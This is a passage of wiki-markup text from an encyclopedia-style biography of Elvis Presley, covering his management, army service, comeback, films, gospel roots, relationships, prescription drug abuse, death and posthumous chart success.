On [[August 15]], [[1955]] Elvis Presley was signed by &quot;Hank Snow Attractions&quot;, a management company jointly owned by singer [[Hank Snow]] and [[Colonel Tom Parker]]. Shortly thereafter, Colonel Parker took full control and, recognizing the limitations of Sun Studios, negotiated a deal with [[RCA Records]] on [[November 21]], [[1955]], then immediately established two [[New York City]] recording companies for Presley's music. Understanding the commercial value for any composer having their song recorded by Presley, Parker was able to demand they share their royalties with the singer. A master promoter who wasted no time in marketing Presley's image, Parker licensed everything from guitars to cookware. After being approached by the Hollywood Studios, Parker eventually negotiated a multi-picture seven-year contract that shifted Presley's focus from music to films. Under the terms of his contract, Presley earned a fee for performing plus a percentage of the profits on the films, most of which were huge moneymakers. (See &quot;Movies&quot; section below.) With money seemingly being at the forefront of all decisions made by the Colonel, his success led to his management contract with Elvis being renegotiated to an even 50/50 split between the two. Over the years, much has been written about Colonel Parker, most of it critical. Marty Lacker, a lifelong friend and a member of the [[Memphis Mafia]], says he thought of Parker as a &quot;hustler and scam artist&quot; who abused Elvis's reliance on him. Nonetheless, along with Lamar Fike, and Presley's first cousin Billy Smith, Lacker acknowledged that Parker was a master promoter as recounted in their 1995 book ''Elvis Aron Presley: Revelations from the Memphis Mafia''. In the 2005 television special about her former husband, [[Priscilla Presley]] said she didn't know who else there was at the time in 1955 who could have seized the moment and done the job of marketing Elvis. Parker's definitive biography was written by award-winning journalist [[Alanna Nash]] published in 2003.

===Military service===
On [[December 20]] [[1957]], Presley received his [[Conscription in the United States|draft notice]] for 2-year service with the [[United States Army]]. On [[March 24]], [[1958]], he was inducted into the Army at the Memphis Draft Board.  Presley received no special treatment and was widely praised for not avoiding service or serving part time in easy domestic positions such as the Special Services.  The media speculated on whether or not two years out of the limelight  would damage to his career. During his service, Elvis met his future father-in-law, Walter Alden, who was a [[sergeant]] and in charge of [[public relations]]. 

Presley sailed to [[Europe]] on the USS ''General George M. Randall'' (AP-115) and served in [[Germany]].  He returned to the United States on [[March 2]] [[1960]] and was honorably discharged on March 5th.  [http://www.army.mil/CMH/faq/elvis.htm]

===Comeback===
Many observers (including [[John Lennon]]) later claimed that following Presley's return from military service the quality of his recorded output dropped, although others thought he was still capable of creating records equal to his best (and did so on the infrequent occasions where he was presented with &quot;decent&quot; material at his movie recording sessions). Presley himself became deeply dissatisfied with the direction his career would take over the ensuing seven years, notably the film contract with a demanding schedule that eliminated creative recording and giving public concerts. In [[1960]] the album ''Elvis is Back'' was recorded to mixed reviews by critics and fans. With this drop-off, and in the face of the social upheaval of the [[1960s]] and the [[British Invasion]] spearheaded by [[The Beatles]], Presley's star faded slightly before a triumphant [[television special|televised performance]] later dubbed the ''[[Elvis Presley's '68 Comeback Special|'68 Comeback Special]]''. Aired on the [[NBC]] network on [[December 3]], [[1968]], the show saw him return to his [[rock and roll]] roots. His [[1969]] return to live performances, first in [[Las Vegas, Nevada|Las Vegas]] and then across the country, was noted for the constant stream of sold-out shows, with many setting attendance records in the venues where he performed throughout the country.

===1969 onward===
After seven years off the top of the charts, Presley's song &quot;[[Suspicious Minds]]&quot; hit No. 1 on the Billboard music charts on [[November 1]], [[1969 in music|1969]]. This was the last time any song by Presley hit #1 on the US pop charts while he was still alive, although &quot;Burning Love&quot; got as high as #2 in September [[1972 in music|1972]]. He still reached #1 on charts around the world. For example, &quot;The Wonder Of You&quot; reached #1 in the UK in [[1970]]. The &quot;[[Elvis: Aloha from Hawaii|Aloha from Hawaii]]&quot; concert in January [[1973]] was the first of its kind to be broadcast worldwide via [[satellite]] and his biggest audience ever. The soundtrack album was another #1 disc.

''[[Way Down]]'' was racing up the American [[Country Music]] charts shortly before Presley's death in [[1977]], and hit #1 on that very chart the week he died (Presley recorded a number of country hits in his final years). It also topped the UK pop charts at the same time. Between 1969 and 1977 he gave over 1,000 sold-out performances in Las Vegas and on tour. He was the first artist to have four shows in a row sold to capacity at [[New York]]'s [[Madison Square Garden]]. During the mid-[[1970s]] Presley became increasingly isolated, battling an addiction to prescription drugs and its resulting toll on his appearance, health and performances. Elvis Presley made his last live concert appearance in [[Indianapolis, Indiana]] at the [[Market Square Arena]] on [[June 26]], [[1977]].

===Movies===
In late 1955, Presley made his earliest known film appearance in a documentary entitled ''[[The Pied Piper of Cleveland]]'', a look at the career of [[disc jockey]] Bill Randle. The film, (which reportedly included performance footage of Elvis as well as [[Bill Haley and His Comets]] and other acts), was shown in its entirety only once (in [[Cleveland, Ohio|Cleveland]]) and was never released commercially. The film is currently considered &quot;misplaced&quot; and some Presley researchers maintain it never existed, although there is ample evidence to suggest it did.

Beginning with ''[[Love Me Tender (movie)|Love Me Tender]]'' (opened on [[November 15]], [[1956 in film|1956]]), Presley starred in 31 motion pictures, having signed to multiple long-term contracts on the advice of his manager. These were usually musicals based around Presley performances, and marked the beginning of his transition from rebellious rock and roller to all-round family entertainer. Elvis was praised by all his directors, including the highly respected [[Michael Curtiz]], as unfailingly polite and extremely hardworking.

The movies ''[[Jailhouse Rock (movie)|Jailhouse Rock]]'' ([[1957]]), ''[[King Creole]]'' ([[1958]]), and ''[[Flaming Star]]'' ([[1960]]) are widely regarded as his best among film critics. Among fans, ''[[Blue Hawaii]]'' ([[1961]]) and ''[[Viva Las Vegas]]'' ([[1964]]) are also highly praised.

In addition to his own films, Presley has been the subject of more than seventy films that have his name in the title.

For details on films in which he starred, see the [[List of Elvis Presley films]].

===Gospel roots===
Ironically, for all the controversy surrounding his early career, Elvis Presley's roots in religious music ran deep. In Tupelo, Mississippi, Vernon and Gladys Presley were what was disparagingly referred to as ''[[poor white trash]]'' from the &quot;wrong side of the tracks&quot; at the east end of town. Their [[Great Depression|Depression-era]] home (where Elvis was born in 1935) was a two-room shack on one of several dirt tracks forming a small community off Old Saltillo Road. They belonged to a local [[Assembly of God]] [[Pentecostalism|Pentecostal]] church which played an important role in their lives. For Elvis Presley it provided an environment from which he would instinctively adopt the music, sound and accompanying body movements in his later rock and roll singing performances. The [[African American music|African American form of music]] that became known as [[Rhythm &amp; Blues]] (which also evolved from [[gospel music|gospel songs]]) was also a part of Presley's childhood world and he probably heard it on a regular basis in the [[Blacks|black]] section of Tupelo known as &quot;Shakerag&quot; (which was between Tupelo and East Tupelo, and was demolished in the 1960s as part of an urban renewal project). The church is said to have brought the Presleys, along with the rest of its desperately poor congregation, a message of hope wrapped around &quot;[[fire and brimstone|Hell, fire, and brimstone]]&quot; sermons. For nearly a quarter century the Pentecostal movement was [[interracial]] and during the 1930s and 1940s many of these poor churches did not adopt the growing policy of [[racial segregation]].

Although Vernon Presley's family was Pentecostal and his sister Nash Presley became a minister, his wife Gladys was Elvis's devoutly religious parent. Her uncle Gains Mansell was also a Pentecostal preacher in East Tupelo whose interracial church services began with [[revival meeting]]s held in a tent. Pentecostal church services started, centered and ended with music and everyone was encouraged to &quot;make a joyous noise unto the Lord.&quot; According to Presley [[biographer]] [[Peter Guralnick]], Gladys Presley said that by the age of two her son was already trying to sing along in the church. A Pentecostal preacher would typically lead the congregation in prayer and both singing and prayer were accompanied by the waving of hands, the swaying of bodies and dancing about in the [[Holy Spirit]]. As it almost always did in those settings, &quot;when the Spirit strikes&quot; the body would jerk as though hit by a bolt of lightning and frequently the worshipper would fall to the floor, rolling around and praying aloud (this is why outsiders referred to church members as &quot;[[Holy Roller]]s&quot; and their services as a &quot;religious frenzy&quot;). For instrumentation, these church services used a [[guitar]], a [[tambourine]] or two and if they could afford one, a well-worn [[piano]] and perhaps a used [[accordion|piano accordion]]. Church services lasting three hours and held several times a week were filled with music as Pentecostals gyrated their hips, shook their legs, clapped and waved their arms while belting out pounding, rhythmic songs such as ''Down By the Riverside'', ''When The Saints Go Marching In'' and ''Standing On The Promises''. There were also more serene songs sung with great emotion like ''The Old Rugged Cross'' and ''Softly and Tenderly (Jesus is calling)''.

In 1948 the Presley family left Tupelo, moving 110 miles northwest to Memphis, Tennessee. Here too, thirteen-year-old Elvis lived in the city's poorer section of town and attended a Pentecostal church. At this time, Presley was very much influenced by the [[Memphis blues]].

While Elvis Presley was a teen cataclysm with millions of American girls screaming at the sight of him, his own church viewed Presley's gyrations on stage as an affront, labelling it the [[Devil]]'s work and a mocking of the [[Baptism of the Holy Spirit]]. Presley records were condemned as [[sin|wicked]] and Pentecostal preachers thumped their [[pulpit]]s with [[Bible]]s, warning congregations to keep [[heathen]] rock and roll music out of their homes and away from their children's ears (especially the music of &quot;that backslidden Pentecostal pup, ''Elvis Presley''&quot;). People who decades later would be considered part of the [[religious right]] spoke out vigorously against Presley including [[Francis Cardinal Spellman|Cardinal Spellman]]. In its weekly periodical, the [[Roman Catholic Church]] added to the criticism in an article titled &quot;Beware Elvis Presley.&quot;

In August, 1956 in [[Jacksonville, Florida]] a local [[Juvenile Court]] judge called Presley a &quot;[[Barbarian|savage]]&quot; and threatened to arrest him if he shook his body while performing at Jacksonville's Florida Theatre, justifying the restrictions by saying his music was undermining the youth of America. Throughout the performance Presley stood still as ordered but poked fun at the judge by wiggling a finger. Similar attempts to stop his &quot;sinful gyrations&quot; continued for more than a year and included his often noted January 6, 1957 appearance on [[The Ed Sullivan Show]] (during which he performed the spiritual number &quot;Peace in the Valley&quot;) when he was seen only from the waist up.

''His Hand In Mine'' (1960) was the title of Elvis' first gospel album. During his [[Elvis Presley's '68 Comeback Special|'68 Comeback Special]] Elvis said his music came from gospel. As heard in the 2005 televised special, Presley told a reporter that he &quot;knew every gospel song there is.&quot; Despite his church's attitude, gospel music was a prominent part of Presley's repertoire throughout his life. From 1971 to his death in 1977 Presley employed the [[Stamps Quartet]], a gospel group, for his backup vocals. He recorded several gospel albums, earning three [[Grammy Award]]s for his gospel music. In his later years Presley's live stage performances almost always included a rendition of &quot;How Great Thou Art,&quot; the 19th century gospel song made famous by [[George Beverly Shea]]. More than forty-five years later (and twenty-four years after his death) the [[Gospel Music Association]] finally inducted him into their [[Gospel Music Hall of Fame]] (2001).

Well-Known Gospel Songs:

* How Great Thou Art
* [[He Touched Me]]
* Peace In The Valley
* He Is My Everything
* Help Me
* Why Me, Lord?
* [[Amazing Grace]]
* Swing Down Sweet Chariot

==Voice characteristics== 

As noted by Henry Pleasants, in his book &quot;The Great American Popular singers&quot;,  Elvis Presley was a baritone whose voice had an extraordinary compass -   the so-called register-   and a very wide range of vocal color. The voice covered two octaves and a third, from the baritone low-G to the tenor high B, with an upward extension in falsetto to at least a D flat.  Presley's best octave was  in the middle, D-flat to D-flat.  In ballads and country songs he was able to belt out full-voiced high G's and A's,   showing a remarkable ability to naturally assimilative styles,  and elliciting  a multiplicity of voices.  

Presley's range, albeit impressive in its own right,   did not in itself make his voice that remarkable, at least in terms of how it  measured against musical notation.  What made it extraordinary, was where its center of gravity laid. By  that measure, and according to Gregory Sandows, Music Professor at Columbia University,  Elvis was all at once a bass,  a baritone and a tenor, a most unique attribute amongst singers of any gender,  both in the classical and popular music fields.

A more detailed account of Presley's vocal range, as noted by music analysts, and other entertainers, through several quotes, and citing song examples can be found in [http://en.wikiquote.org/wiki/Elvis_Presley Wikiquote]

==Relationships== 
[[Image:Elvis-JuneJuanico.jpg|thumb|150px|June Juanico &amp; Elvis]]
No entertainer has ever had his life and intimate relationships examined in as much detail as has Elvis Presley. Even the [[FBI]] had a file on him of more than 600 pages. He has been the subject of over 718 books (and counting), including two by his only wife, [[Priscilla Presley|Priscilla Beaulieu Presley]] (whom he married on May 1, 1967) and several others by former girlfriends including June Juanico. Since his death many claims to relationships have been made by women who were no more than acquaintances or had short term affairs which were exaggerated for personal gain.

===High school and early stardom===
According to interviews with teachers and former fellow students at Milam Junior High school in Tupelo, Mississippi, noted Presley biographer [[Elaine Dundy]] in her book ''[[Elvis and Gladys]]'' wrote (p.124) that beginning in his early teens, Elvis embarked upon the &quot;indefatigable pursuit of girls&quot;, but was totally rebuffed. This may have contributed, at first,  to his lifelong need for a beautiful woman to offset his feelings of inadequacy. However, from looking at the numerous pictures of Elvis Presley starting at the age of 14, what is also quite evident is that the teenage Elvis Presley, the one who was usually dismissed, and rebuffed by girls his age, was not the extraordinarily handsome young man he indeed became,   by age 20. Therefore, it is not surprising that, between 1954 and 1956, the impoverished son of welfare recipients went from being shunned and even mocked by some of the popular girls from his junior and high school days, to be the subject of adulation and adoration of some of the most beautiful girls in Memphis, then of young Hollywood starlets such as [[Natalie Wood]] and [[Connie Stevens]]. Author Elaine Dundy wrote that actress [[Shelley Winters]] (usually considered a reliable source for Hollywood goings-on and who portrayed Gladys Presley in the 1979 made-for-TV movie ''Elvis'') claimed the relationship between Presley and Natalie Wood developed into something more serious than what was generally reported in the media.

[[Image:AnitaWoodElvis.jpg|thumb|150px|Anita Wood &amp; Elvis]]
There were several significant relationships in Presley's life other than his one marriage to Priscilla Beaulieu. They included Dixie Locke, a high school sweetheart who he met at his [[Assemblies of God]] [[Pentecostal]] church and was part of his life before and during his Sun Records time. Locke was portrayed by actress Jennifer Rae Westley in the 2005 [[CBS]] [[miniseries|TV miniseries]] ''Elvis''. Anita Wood, another wholesome [[Christian]] girl whom Gladys Presley hoped he would eventually marry, was with Elvis as he rose to superstardom, served in the US military and returned home in 1960. Wood lived at [[Graceland]] for a time but moved out after confronting him over Priscilla Beaulieu, the &quot;girl in Germany.&quot; Although rarely giving public statements, in 2005 Anita Wood was interviewed by renowned [[television]] [[talk show]] host [[Larry King]]. She told him that following media reports of a girlfriend in Germany, Elvis &quot;had me believing that she (Priscilla Beaulieu) was just a friend and her daddy was in the Army with him, and there was nothing to it whatsoever.&quot; Presley used his charm to persuade Anita to move back into Graceland, but she remained only a few months before leaving permanently. Elvis immediately began a short-lived affair with [[Anne Helm]], his co-star from the film ''[[Follow That Dream]]''. Miss Helm came to Graceland for a short time but her quick exit allowed for the entrance of Priscilla Beaulieu, who moved to Memphis in 1962.

===Priscilla Beaulieu Presley and other relationships===
[[Image:PriscillaPresleybookcover.jpg|thumb|150px|[[Priscilla Presley]]]]
In her 1985 book ''[[Elvis and Me]]'', Priscilla Beaulieu Presley  recounted how Elvis suffered from insomnia and would stay up all night and sleep most of the day. She described him as a very passionate man who was not overtly sexual towards her and condemned pre-marital sex as a sin. If he wanted to go out, he'd rent out the venue so no fans would bother him. This insistence on being a virgin hallmarked each relationship Presley had with any woman he thought of as a potential wife or someone he was willing to live with.

A totally different account of Priscilla's relationship with Elvis can be found in [[Suzanne Finstad]]'s book, ''Child Bride: The Untold Story of Priscilla Beaulieu Presley''. The author says that Priscilla had lied, that she and Elvis slept together on their second date and that she wasn't a virgin on her wedding night. The book also claims that her marriage was part of a master plan for fame hatched by Priscilla and her mother and that she never loved Elvis.

While demanding purity and loyalty from them, Presley's ex-wife and several girfriends confirmed he had numerous affairs with other women he had no plans of staying with. In his book ''Elvis: Unknown Stories Behind the Legend'' author Jim Curtin wrote (p.119) about the many women in Presley's life, saying &quot;his list of one-night stands would fill volumes.&quot; However, a recent [[Playboy]] article by Byron Raphael and [[Alanna Nash]] claims that &quot;the so-called dangerous rock-and-roll idol was anything but a despotic ruler in the bedroom&quot; and &quot;really wasn’t all that keen on doing the wild thing. He was far more interested in heavy petting and panting and groaning&quot; and &quot;he would never put himself inside one of these girls ... within minutes he’d be asleep.&quot;  Priscilla Presley relates that Elvis told her that he didn't make love to Anita Wood the whole four years he went with her. &quot;Just to a point,&quot; he said. &quot;Then I stopped. It was difficult for her too, but that's just how I feel.&quot; In her book on Priscilla's life, ''Child Bride'', Suzanne Finstad claims that Elvis wasn't overtly sexually active. 

Priscilla Beaulieu wrote that his philandering made her &quot;crazed with worry,&quot; particularly his highly-publicized relationship with [[Ann-Margret]], which he tried to hide from her. Shortly after he and Priscilla were married and she got pregnant, Elvis became involved with [[Nancy Sinatra]]. When questioned by his wife, Elvis denied any affair but then out of the blue, Nancy Sinatra, who barely knew Priscilla, called her and offered to organize her baby shower. Shortly after this, Elvis left his expecting wife in a state of shock by asking for a trial separation. Hereafter, on the 1st February of 1968, Priscilla gave birth to Elvis' daughter [[Lisa Marie Presley]], in Memphis, Tennessee.

===Later years===
[[Image:ElvisPresleyLindaThompson.jpg|thumb|150px|Elvis &amp; [[Linda Thompson]]]]
Following his separation from Priscilla in late February, 1972 the thirty-seven-year-old Elvis Presley immediately became involved with a twenty-one year old beauty queen, [[Linda Thompson]]. Before long, she moved into [[Graceland]] and lived with him for nearly four and a half years, so she claims, but others close to the family said she did not. Presley dated a host of others besides Linda, notably with his backup singer [[Kathy Westmoreland]] and actress [[Cybill Shepherd]] who, along with Linda Thompson, was part of a candid 2002 television interview on [[CNN|CNN's]] ''[[Larry King Live]]'' marking the 25th anniversary of Presley's death. Cybill Shepherd spoke about her relationship with Presley while he was performing in Las Vegas, saying &quot;years later, I would read and find out that he had like two other women there at the same time.&quot; As one of the two women Shepherd was referring to, Linda Thompson told Larry King she knew Presley had been cheating on her but stayed with him anyway until he ended it in late 1976 when the forty-one-year-old Presley began a relationship with 21 year-old [[Ginger Alden]].

[[Image:GingerAlden.jpg|thumb|150px|[[Ginger Alden]]]] Ginger Alden, unlike his previous girlfriend, Linda Thompson and former ex- wife Priscilla, did not move in with Elvis when he asked her and he told Ginger that he respected her for not doing so and had great respect for her and her family. Elvis proposed to Ginger Alden by giving her an 11 1/2 carat diamond engagement ring made from his favorite TCB ring on January 26, 1977 (they had plans for a Christmas wedding in 1977). Vernon Presley, Elvis's father stated in an interview that his son Elvis told him that he had &quot;finally&quot; found the love that he had been searching for all his life and that he wanted more children, a son, and wanted Ginger to be the mother of his future children. Vernon also stated that Elvis told him that Graceland had come &quot;alive&quot; again after meeting Ginger Alden, and that he could see Elvis as that little boy from Tupelo again. However, Elvis died before he could fulfill that lifelong dream with Ginger. During the early afternoon of August 16, 1977, Ginger Alden, Elvis's fiancee, woke up in Presley's bed and found his lifeless body in the bathroom suite.

==Abuse of drugs==
In her 1985 book, ''[[Elvis and Me]]'', his wife Priscilla wrote that Elvis suffered from severe [[insomnia]] and by 1962 when she moved to Graceland he was taking [[placidyl]]s to get to sleep and began to do so in ever increasing doses. It is thought by some that he started his drug habits by taking drugs given to soldiers to keep them awake since they were on late shifts. But, according to author [[Albert Goldman]] in his 1990 book ''Elvis: The Last 24 Hours'', the pills were first given to him by Memphis disc jockey [[Dewey Phillips]]. Priscilla recounted how he would wake up at his normal time around 4:00 in the afternoon but would be groggy and irritable for a few hours from the heavy dose of pills. He started taking [[Dexedrine]] to wake up. She stated that over time, she saw &quot;problems in Elvis's life, all magnified by taking prescribed drugs.&quot; 

Priscilla wrote the two of them tried marijuana but didn't like it because it made them ravenously hungry, with extra weight the unwanted result. Although she said Elvis abhorred [[street drugs]], she tells in her book how they tried [[LSD]]. While they both thought it had been an &quot;extraordinary experience&quot; they were afraid of it and experimented that one time only. During the time when he was searching for peace in his life and consulting an [[India]]n [[guru]] as [[The Beatles]] and others were doing at the time, Presley read numerous books including [[Aldous Huxley|Aldous Huxley's]] &quot;''Doors of Perception''&quot; and [[Timothy Leary|Timothy Leary's]] &quot;''Psychedelic Experience''&quot;. In his Elvis biography, [[Peter Guralnick]] discussed the singer's rampant prescription drug abuse. Cliff Gleaves, one of Elvis' friends and a reliable eyewitness, said about the singer's abuse of drugs, in this case speed:
:&quot;Elvis didn't care if anyone else took them or not. He was getting off on them. He loved to sit there high and wiggle in the chair, ... just sit there and watch TV. He didn't give a damn whether you did anything. He was going to do what he wanted anyway.&quot; (Guralnick, p.240) 
Though Elvis abused prescription drugs, Priscilla wrote that he never considered it wrong because it was a [[medical doctor]] prescribing them and he in fact publicly denounced the use of hard drugs. At a meeting with U.S. President [[Richard Nixon]], Presley asked the President to appoint him &quot;Federal Agent at Large&quot; for the Bureau of Narcotics and Dangerous Drugs.

Although his personal physician, Dr. [[George C. Nichopoulos]], was exonerated in Presley's death, in July 1995 he had his license suspended after the Tennessee Board of Medical Examiners found that he had improperly dispensed potentially addictive drugs to a number of his patients.

Priscilla Presley pointed out in her book that even if Elvis would have admitted he needed help, in those days there was no [[Betty Ford Clinic]] where someone like him could get treatment. The singer's abuse of prescription drugs increased during the last years of his life, particularly after the breakup of his marriage in 1972.

==Death and burial==

On [[August 16]], [[1977]], at his [[Graceland]] mansion in [[Memphis, Tennessee]], Presley was found  lying on the floor of his bedroom's ensuite bathroom by his fiancee, [[Ginger Alden]], who had been asleep in his bed. He was transported to Baptist Memorial Hospital, where doctors pronounced him dead at 3:30 p.m. He was only 42 years old.

In her 1987 book &quot;Elvis and Kathy,&quot; friend and backup vocalist [[Kathy Westmoreland]] wrote &quot;Everyone knew he was sick, that each public appearance brought him to the point of exhaustion.&quot;

[[Image:Elvisfuneralprocession.jpg|thumb|230px|Elvis Presley funeral procession]]
At a press conference following his death, one of the medical examiners declared that he had died of a heart attack. Heart disease was very prevalent in his family. His mother, Gladys Presley, died of a heart attack brought on by acute hepatitis at age 46. Elvis' father, Vernon Presley, died of heart failure in [[1979]].

Dr. Willis Madrey, who had examined Elvis's liver in 1975, said, &quot;I had understood he was having some gastrointestinal problems his doctors were trying to evaluate.&quot; Most likely, he was referring to Elvis' enlarged colon, which worsened over time and may have led to [[diverticulitis]]. It is believed that possibly his gastrointestinal problems, combined with a weak heart, caused his death; however, since the autopsy records will not be in the public domain until 2027, we will not know with certainty yet. It is a lasting theory, though never confirmed, that he [[Toilet-related injury|died on the toilet, defecating]]. 

According to [[Peter Guralnick]]'s book, ''Careless Love: The Unmaking of Elvis Presley'' (1999), &quot;drug use was heavily implicated in this unanticipated death of a middle-aged man with no known history of heart disease ... It was certainly possible that he had been taken while 'straining at stool,' and no one ruled out the possibility of anaphylactic shock brought on by the codeine pills he had gotten from his dentist, to which he was known to have had a mild allergy of long standing. ... There was little disagreement in fact between the two principal laboratory reports and analyses filed two months later, with each stating a strong belief that the primary cause of death was polypharmacy, and the BioScience Laboratories report ... indicating the detection of fourteen drugs in Elvis' system, ten in significant quantity.&quot;

In his book, ''Elvis: The Last 24 Hours'', [[Albert Goldman]] even went as far as to suggest that Presley killed himself by overdosing on a stash of drugs that he stockpiled. David Stanley, Elvis's stepbrother, who was at Graceland the day Elvis died, is said to have removed the needles and drug packets near Presley's body before the paramedics arrived, suggesting that he did not want to see Elvis's name tarred with the brush of suicide.

On the other hand, some of his closest family members, friends, band members, and background singers have long disputed stories concerning Elvis's alleged drug abuse and &quot;self-destructive&quot; lifestyle. At the same time, they have not denied that he did take prescription medications for ''bona fide'' or suspected health problems. For instance, the late Vernon Presley, Kathy Westmoreland, Charlie Hodge, and the late J.D. Sumner have pointed out that Elvis also suffered from severe health problems unrelated to drug abuse. These health problems included glaucoma, insomnia, and [[bone cancer]]. The illness may have increased his dependency on prescription medication.

Elvis Presley was originally buried at Forest Hill Cemetery in Memphis next to his mother. After an attempted theft of the body, his remains and his mother's remains were moved to [[Graceland]].

==Lasting legacy==
By 1957 Elvis Presley was the most famous entertainer in the world. After pioneer band leader [[Bill Haley]] spawned interest in rock and roll in western [[Europe]], Presley triggered a wide shift in tastes with effects lasting many decades. Singers in dozens of countries made Presley-influenced records in many languages and his own records were sold around the globe, even behind the former [[Iron Curtain]]. By 1958 [[Cliff Richard]] was rising to prominence in the [[UK]] and in [[France]] [[Johnny Hallyday]] became a rock and roll idol singing in French, soon to be followed by others like [[Claude François]]. Airplay and sales of Presley recordings across Europe were followed by those of other American rockers who began touring there. [[Teenager]]s around the world copied his &quot;[[Ducktail]]&quot; hair style.

[[Image:Elvis-nixon.jpg|thumb|250px|right|[[Richard Nixon|President Nixon]] and Elvis in a brief meeting in December, 1970 during which a reportedly prescription drug-impaired Presley offered his assistance in a national effort against drug abuse.]]

Following Presley's untimely death in 1977 US [[President]] [[Jimmy Carter]] said:
''Elvis Presley's death deprives our country of a part of itself. He was unique and irreplaceable. His music and his personality, fusing the styles of white country and black rhythm and blues, permanently changed the face of American popular culture. His following was immense and he was a symbol to people the world over, of the vitality, rebelliousness, and good humor of his country.''

Or as [[James Brown (musician)|James Brown]] once put it, &quot;He taught white America to get down.&quot;

[[Wink Martindale]], who was a close friend of Elvis, aired a nationwide tribute in his memory following the news of his death. Martindale was an up-and-coming radio DJ in Memphis at the time Presley's career began to take off in high gear.

[[Richard Dawson]] also paid tribute to Elvis on an episode of [[Family Feud]].

After his death a [[kitsch]] industry grew up around his memory, chronicling his dietary and chemical predilections along with the trappings of his wide celebrity. Critics said this tended to obscure the vibrant and vital music he made as a young man, the vocally-influential recordings of his later career and his lasting mark on popular culture.

Among his many accomplishments, Elvis Presley is only one of three singers ([[Roy Orbison]] and [[Nelly]] being the others) to ever have two Top 5 albums on the charts simultaneously. He has been inducted into the [[Rock and Roll Hall of Fame]] (1986), the [[Country Music Hall of Fame]] (1998), and the [[Gospel Music Hall of Fame]] (2001). In 1984 Presley was given the [[W.C. Handy|W.C. Handy Award]] from the [[Blues Foundation]] in Memphis for &quot;keeping the blues alive in his music - rock and roll.&quot; In [[1993]], Presley's image appeared on a [[List of people on stamps of the United States|United States postage stamp]].

==Elvis in the 21st century==
[[Image:Elvis_30hits.jpg|frame|right|''Elvis 30 #1 Hits,'' 2003.]]

Interest in Presley's recordings returned during the buildup to the [[Football World Cup 2002|2002 World Cup]], when [[Nike, Inc.|Nike]] used a [[Junkie XL]] remixed version of his &quot;[[A Little Less Conversation]]&quot; (credited as Elvis Vs JXL) as the background music to a series of TV commercials featuring international [[football (soccer)|soccer]] stars. The remix hit Number 1 in over 20 countries, including the [[United States]], the [[United Kingdom]] and [[Australia]] (it was also his first top 10 hit in the UK for nearly 22 years, and his first #1 there for nearly 25 years). At about the same time, a compilation of Presley's US Number 1 hits, [[Elv1s: 30|''ELV1S: 30 #1 Hits'']], was being prepared for release. &quot;A Little Less Conversation&quot; (remix version) was quickly added as the album's 31st track just before its release in [[October]] [[2002]].

Nearly 50 years after Presley made his first hit record and 25 years after his death, ''ELV1S: 30 #1 Hits'' reached number 1 on the charts in the US, the UK, Australia and many other countries. A re-release from the album, &quot;[[Burning Love]]&quot; (not a remix) also made the Australian top 40 later in the year.

His renewed fame continued with another remix in [[2003]] (this time by [[Paul Oakenfold]]) of &quot;Rubberneckin'&quot;, which made the top 3 in [[Australia]] and top 5 in the [[UK]]. This was followed by another album called ''[[2nd to None]]'', a collection of his hits that just missed out on the number 1 spot, including the &quot;Rubberneckin'&quot; remix.

In mid-[[2004]], to commemorate the 50th anniversary of Presley's first professional recording, &quot;That's All Right&quot;, the recording in question was re-released, and made the charts around the world, including top 3 in the UK and top 40 in Australia.

In December 2004 Wade Jones from Belmont, NC sold 3 tablespoons of water from a cup that Elvis Presley drank out of on eBay. The water fetched $455 Saturday (Dec. 25) on the auction site.One week later(January 2005), he sold an appearance of the Elvis Cup on eBay for $3,000.00 and currently tours with the Elvis Cup, which even has its own song &quot;The Elvis Cup&quot;..written and recorded by a Filipino Elvis impersonator, &quot;Renelvis&quot;. Jones says he scored the styrofoam cup at a 1977 concert the King played. Hoping for a better souvenir, he ended up getting a cup out of which he saw Presley drink.

In early [[2005]] in the [[United Kingdom]], RCA began to re-issue his 18 UK #1 singles as CD-singles in the order they were originally released, one of them a week. The first of these re-issues, &quot;[[All Shook Up]]&quot;, was ineligible due to its being sold together with a collector's box which holds all 18 singles in it (it actually sold enough to be #2). The second, &quot;[[Jailhouse Rock (song)|Jailhouse Rock]]&quot;, was the number one in the first chart of 2005, and &quot;One Night&quot;/&quot;I Got Stung&quot;, the third in the series, replaced it on the [[January 16]] chart (and thus becoming the 1000th UK number one entry). 

All of these have reached top 5 in the official charts, with three number 1s, eight number 2s, four number 3s, one number 4, and one number 5. These re-releases have made Elvis the only artist so far to spend at least 1000 weeks in the British top 40.

[[CBS]] recently aired a TV miniseries, ''[[Elvis (2005 Mini-series)|Elvis]]'' starring Irish actor [[Jonathan Rhys-Meyers]] as Presley.

In July of 2005,  Presley was named one of the top 100 &quot;Greatest Americans,&quot; following a vote organized by [[Discovery Channel]]. In the vote, Presley ranked ahead of all entertainers and in 8th place behind Presidents [[Ronald Reagan]], [[Abraham Lincoln]], [[George Washington]], [[Bill Clinton]], and [[George W. Bush]], plus [[Martin Luther King Jr.]] and [[Benjamin Franklin]].

In mid October of 2005, ''Variety'' named the top 100 entertainment icons of the 20th century, with Presley landing on the top ten, along with The Beatles, Marilyn Monroe, Lucille Ball, Marlon Brando, Humphrey Bogart, Louis Armstrong, Charlie Chaplin, James Dean and Mickey Mouse.

A week later, ''Forbes'' magazine named Elvis Presley, for the fifth straight year, the top-earning dead celebrity, grossing US$45 million for the Elvis Presley Estate during the period  from October of 2004, to October 2005. ''Forbes'' pointed out that Robert Sillerman's CKX company shelled out $100 million in cash, and stock, for an 85% interest in Presley's income stream in February 2005.

Shortly after taking over the management of all things Elvis from the Elvis Presley Estate (which retained a 15% stake in the new company, while keeping Graceland and the bulk of the possessions found therein), Sillerman promptly shook things up by producing a more personal DVD and CD featuring Presley (and appropriately &lt;!-- How is this &quot;appropriate&quot;? --&gt; titled &quot;Elvis by the Presleys&quot;), as well as the  accompanying two-hour documentary broadcast on Viacom's CBS Network, which alone generated $5.5 million. And while some of Presley's fans fretted that outside management might mar the appeal of Graceland, revenue is up &lt;!-- &quot;Up&quot; relative to when? --&gt; at the Memphis shrine, too.

On 9 December, 2005, the Book of British Hit Singles &amp; Albums unveiled their annual list of the Top 100 Most Successful Acts of all time, based on the total number of weeks each recording artist has spent on the official UK Singles and Albums charts. Elvis Presley ranked #1, with Cliff Richard, Queen, The Beatles and Madonna rounding out the top 5.

In the UK singles charts, Elvis went to # 1 the most times (21, three of them hitting #1 twice), spent the most weeks there (80), as well as had  the most top tens and top forty hits. In the UK album charts, he is second to the Beatles (21), with 16 chart toppers, as well as earning the most top ten, and top forty albums. Still in the album category, his longevity record boasts an almost fifty year gap between his first, and last hit album.

